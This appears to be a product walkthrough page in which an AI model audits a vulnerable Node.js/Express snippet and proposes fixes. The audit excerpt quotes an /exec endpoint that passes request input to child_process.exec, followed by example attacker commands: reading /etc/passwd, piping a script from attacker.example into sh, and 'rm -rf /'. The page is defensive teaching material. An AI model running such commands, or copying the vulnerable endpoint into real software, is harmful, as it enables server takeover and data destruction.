AI code security audit · locate to fix

Disclaimer: The content shown on this page is generated by an AI model and is for reference only. It does not constitute any guarantee of results. Actual output and Credits consumption are subject to "Usage Details" in the console.

This walkthrough uses a snippet of Node.js/Express code containing command injection, SQL injection, XSS, and hardcoded secrets: paste the code to qwen3.8-max, and it locates each vulnerability one by one, explains why it is dangerous, provides drop-in fix code, and finally ranks a remediation priority list by risk level. Call chain: qwen3.8-max (paste code → per-vulnerability location + fix code + remediation priority). Pure text reasoning.

Steps: Security audit

Send the code to be audited along with the instruction below to qwen3.8-max:

You are a senior application security engineer. Audit the following Node.js/Express
code and find all security vulnerabilities:
For each, provide [Vulnerability type] [Risk level] [Location] [Why it is dangerous]
[Fix (with safe code)], and finally give a remediation priority list.
[Code] {paste code with SQL concatenation / innerHTML / exec / hardcoded secrets}

View actual output · Security audit report (highest-risk RCE entry excerpt, qwen3.8-max)

The following code contains multiple critical security issues that can directly lead
to server compromise or data leakage and must not go to production as-is. Audited
item by item, from highest to lowest risk below.

---

# I. Vulnerability audit results

---

## 1. Arbitrary command execution / remote code execution (RCE)

- [Vulnerability type] OS command injection / remote code execution
- [Risk level] Critical
- [Location]

app.post("/exec",(req,res)=>{
  const cmd=req.body.cmd;
  require("child_process").exec(cmd,(e,out)=>res.send(out));
});

- [Why it is dangerous]
  req.body.cmd is fully controlled by the requester and is passed directly into
  child_process.exec(). exec() launches a shell to execute commands, and an attacker
  can run arbitrary system commands, for example:

id
whoami
cat /etc/passwd
curl http://attacker.example/shell.sh | sh
rm -rf /

  Once this endpoint is exposed, an attacker can directly control the server.
  This is a top-priority vulnerability.

- [Fix]
  Preferred option: remove this endpoint entirely. There should be no HTTP API
  for "executing arbitrary commands" in a business context.

  Safe code: remove it or return 404.

// Option 1: completely remove the /exec route
// Do not keep app.post("/exec", ...)

// If old clients may still call it, explicitly return 404
app.all("/exec", (req, res) => {
  res.status(404).json({ error: "Not
…… (the full report includes SQL injection / XSS / hardcoded secrets with per-item fixes and the remediation priority list)

Notes

Consumption: This playbook involves text generation (qwen3.8-max, code security audit).
Actual results: On the sample code, it accurately located command injection (RCE), SQL injection, XSS, and hardcoded secrets/weak credentials, ranked them from highest to lowest risk, and provided drop-in fix code for each.
Data boundary: Code entering the context means it is sent to the server side. For real secrets, intranet addresses, and customer data, replace the values with placeholders before submitting — the model can still identify issues like "hardcoded credentials here" while preserving the code structure.

​Steps: Security audit

​Notes

Steps: Security audit

Notes